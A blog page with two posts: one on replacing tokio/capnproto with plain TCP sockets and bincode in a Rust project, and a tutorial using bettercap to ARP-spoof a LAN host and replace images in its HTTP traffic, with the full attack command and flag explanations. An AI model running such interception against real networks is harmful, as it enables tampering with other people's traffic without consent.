Proddle: Rust and Networking

2017-04-06 15:15:52

If you're unfamiliar with my project, Proddle, please visit the site and take a gander. If you're still interested please contact me to get involved!

Using Rust for Proddle

I've chosen to write the application using Mozilla's Rust. It's a newer language focused on providing low level operation combined with extremely safe variable access. It does this through it's integration of a "lifetime" paradigm, where each variable has a duration it's active for. The lifetime is automatically identified by the compiler and analyzed for safety infractions. A deeper analysis is not in the scope of this post, but I'll forward you to the official rustbook where the language is extensively documented. It's a great starting point.

Capnproto & Tokio

Upon original inception of Proddle I chose to use capnproto for message format, as the next iteration of Google's protobuf (written by the same developer) it seemed like the logical choice. Everything worked great until the rust crate for capnproto switched internally to using a all encompassing networking crate tokio. As of right now the tokio project is the bane of my existance. This is mostly based on an unclosed file descriptor bug (which I thought impossible with Rust). I understand that the project is in it's infancy, but the documentation is terrible. I found myself scouring through the source code to "understand" certain constructs.

I'm not going to dive into internals of the project, because I've put that phase of my life behind me. Instead I'll provide a brief overview. The entire framework is built upon event loops and futures. Yes, even the client. An event loop is basically a for loop listening on a channel for events. Futures are closures which allow for the result to be passed into code before it's actually computed. Both constructs are fundamental for server programming (albiet most frameworks make them transparent). Tokio exposes the user to everything, needlessley adding complexity. The tokio-proto crate is provided to obfuscate deep internals, but in my experience it falls short as well.

I don't want my ramblings to be misinterpreted as malice. I think the tokio project provides a solid networking foundation. I think that the work, and all work of Alex Crichton is improving the foundation of Rust. Which I am a strong advocate. It's just that the complex framework is NOT an uniform solution for all network applications. Tokio provides mechanisms for pipelined vs streamed protocols, for multiplexing traffic, among others. This is functionality that is not required for simple projects. At this stage, the internals are quite under-developed and noticably under-documented. I will continue to follow the project and expect nothing but improvements.

Retreat to Tcp Sockets

Admitting defeat in the realm of all things tokio I opted to fallback to trusty tcp sockets. In the standard library Rust provides access similar to that of C/C++. The serde framework provides seamless serialization of Rust structs to many formats including json, bson, bincode, etc. I believe it's used internally in the capnproto Rust crate. I opted to use the bincode as my transport format. The sample struct definiton is provided below.

    
        extern crate serde;
        #[macro_use]
        extern crate serde_derive;

        #[derive(Deserialize, Serialize)]
        struct Message {
            foo: Option,
            bar: u64,
        }
    

This is a very simple struct with just two fields. Below is the code I'm using in Proddle to read/write through a tcp socket.

    
        extern crate bincode;

        use std::io::{Read, Write};
        use std::net::TcpStream;

        pub fn message_to_stream(message: &Message, stream: &mut TcpStream) -> Result<(), ProddleError> {
            let encoded: Vec = bincode::serialize(message, Infinite).unwrap();
            let length = encoded.len() as u32;

            try!(stream.write(&[(length as u8), ((length >> 8) as u8), ((length >> 16) as u8), ((length >> 24) as u8)]));
            try!(stream.write_all(&encoded));
            try!(stream.flush());

            Ok(())
        }

        pub fn message_from_stream(stream: &mut TcpStream) -> Result {
            let mut length_buffer = vec![0u8; 4];
            try!(stream.read_exact(&mut length_buffer));
            let length = ((length_buffer[0] as u32) | ((length_buffer[1] as u32) << 8) | ((length_buffer[2] as u32) << 16) | ((length_buffer[3] as u32) << 24)) as usize;

            let mut byte_buffer = vec![0u8; length];
            try!(stream.read_exact(&mut byte_buffer));
            let message = try!(bincode::deserialize(&byte_buffer));
            Ok(message)
        }
    

As you can see in the message to stream function we serialize the Message struct using the bincode serialize method, it should be noted that this is available because we've derived the Deserialize/Serialize traits on the Message struct above. The we write a u32 length field to the stream followed by the encoded buffer. The read function just does the opposite. I know, creating a new buffer for reading the length and actual bytes is bad practice. I'll fix this in the future.

Ending Thoughts

There you have a simple, lightweight alternative to many complex networking frameworks. With this change I was able to remove 6 crate dependencies of the project (2 capnproto, 4 tokio). I'm a strong believer that the more code you include, the more things that can break.

tag(s): proddle rust tutorial

Replacing HTTP images with Bettercap

2017-04-03 13:57:12

I've recently been introduced to the MITM tool bettercap. The project is the same idea as the ettercap tool of old, with many modern improvements.

Installation

Bettercap is available as part of the blackarch repositories (if you're not familiar with the project I insist you take a look). The site provides a tutorial on a blackarch install or enabling the repository in a base arch install (I prefer the latter).

Alternatively the bettercap install page presents myriad of installion options including kali repos, git, and GEM. Whatever flavour of linux (and possibly windows?!) you run installation is possible.

Exploit

evilsocket provides a very simple bettercap proxy module to analyze HTTP traffic and replace the img tag url with that of your locally running server (run by bettercap). To retrieve the file we can issue a simple wget command.

    
        wget https://raw.githubusercontent.com/evilsocket/bettercap-proxy-modules/master/http/replace_images.rb
    

After that the attack is as simple as creating a directory of images, choosing a host, and issuing the attack. I've chosen my images directory as 'images' and the host as '192.168.1.117'. The command to initiate the attack is listed below.

    
        bettercap -I wlp2s0 -S ARP -X --proxy --proxy-module replace_images.rb --httpd --httpd-path images --target 192.168.1.117
    

Many of these flags are not necessary, however I include them for completeness.

  • -I wlp2s0: Specifies which interface to execute on.
  • -S ARP: Use ARP to spoof traffic through yourself (default).
  • -X: Print packet information to screen.
  • --proxy: Act as a proxy for HTTP traffic.
  • --proxy-module replace_images.rb: Use the replace images module to modify proxied traffic.
  • --httpd --httpd-path images: Start an HTTP daemon with 'images' as the root directory.
  • --target 192.168.1.117: Only intercept traffic from this particular host.

Try browsing to an HTTP page with images on the client device and you'll see all of the images replaced by random images in your 'images' directory.

Exploit Notes

With the increasing adoption of HTTPS this attack is loosing traction. Bettercap, by default, attempts SSL stripping and no doubt supports a variety of SSL downgrading exploits. I haven't had much success with these in the past.

tag(s): bettercap tutorial